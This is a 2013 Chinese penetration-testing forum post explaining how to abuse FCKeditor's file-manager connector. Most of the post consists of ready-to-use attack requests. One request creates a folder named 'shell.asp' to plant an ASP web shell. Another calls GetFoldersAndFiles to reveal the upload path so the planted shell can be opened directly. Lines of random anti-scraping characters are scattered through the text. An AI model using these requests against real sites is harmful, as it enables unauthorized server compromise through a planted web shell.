中国网络渗透测试联盟
标题:
fckeditor找上传路径方法
[打印本页]
作者:
admin
时间:
2013-10-17 19:37
标题:
fckeditor找上传路径方法
网上流行着是上传是这样子的
: A9 ~/ T3 W/ B& m& F# P
J0 r% y9 v6 q) j; W ~- N
http://localhost/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=../../connectors/asp/connector.asp
6 ? f( L k9 u5 M$ P
http://localhost/fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
4 R! A" W6 B; k+ B% {
e0 h6 K: v. C) X! X4 w
上传后老找不到路径，测了一下，我发现
+ B' W. B* ~+ F# u# t
' p e7 v/ Q6 ^* {. r, S- i8 s
FCKeditor3/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
' L# k a- {8 A3 w' ^3 d
( \7 J1 J: ?5 @& a! v$ H
可以爆出路径，显示以下内容
$ j3 ^- R3 e& U* _
! D# f2 Z( l) q+ k' [
3 C: y/ { a" G- L% Q) I. e
得出路径，直接打开就见到马子
, ^/ C' g3 G$ W. t& Y) A, X
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2